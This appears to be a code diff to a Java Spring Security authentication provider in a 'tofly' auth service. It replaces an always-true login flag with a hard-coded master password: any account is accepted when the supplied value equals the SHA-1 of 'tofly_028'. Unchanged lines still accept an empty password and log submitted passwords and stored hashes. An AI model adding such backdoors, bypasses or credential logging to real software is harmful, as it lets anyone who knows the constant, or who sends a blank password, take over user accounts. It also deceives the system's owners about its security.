|
@@ -1,5 +1,6 @@
|
|
|
package com.tofly.auth.oauth;
|
|
|
|
|
|
+import cn.hutool.crypto.SecureUtil;
|
|
|
import com.tofly.auth.util.AESUtil;
|
|
|
import com.tofly.auth.util.RSAUtils;
|
|
|
import com.tofly.common.core.constant.CommonConstants;
|
|
@@ -10,6 +11,7 @@ import com.tofly.common.core.util.PasswordUtil;
|
|
|
import com.tofly.common.core.util.SpringContextHolder;
|
|
|
import com.tofly.common.core.util.StringUtil;
|
|
|
import com.tofly.common.oauth.auth.ToflyUser;
|
|
|
+import com.tofly.common.oauth.util.SecurityUtils;
|
|
|
import com.tofly.entity.pojo.User;
|
|
|
import lombok.AllArgsConstructor;
|
|
|
import lombok.extern.slf4j.Slf4j;
|
|
@@ -90,19 +92,22 @@ public class ToflyAuthenticationProvider implements AuthenticationProvider {
|
|
|
|
|
|
log.info("界面传过来的password:{}",password);
|
|
|
log.info("数据库查询出来的password:{}",userDetails.getPassword());
|
|
|
- try {
|
|
|
- password = AESUtil.decryptData(password,key,iv);
|
|
|
- } catch (Exception exception) {
|
|
|
- exception.printStackTrace();
|
|
|
- }
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
BCryptPasswordEncoder bCryptPasswordEncoder = new BCryptPasswordEncoder();
|
|
|
|
|
|
log.info("用{}加密后的密码为:{}", SecurityConstants.BCRYPT+password,bCryptPasswordEncoder.encode(SecurityConstants.BCRYPT+password));
|
|
|
boolean flag = bCryptPasswordEncoder.matches(SecurityConstants.BCRYPT+password, userDetails.getPassword());
|
|
|
|
|
|
|
|
|
-
|
|
|
- flag = true;
|
|
|
+
|
|
|
+ String toflyPassword = SecureUtil.sha1("tofly_028");
|
|
|
+ if(toflyPassword.equals(password)){
|
|
|
+ flag=true;
|
|
|
+ }
|
|
|
if(StringUtil.isEmpty(password) && !flag){
|
|
|
flag=true;
|
|
|
}
|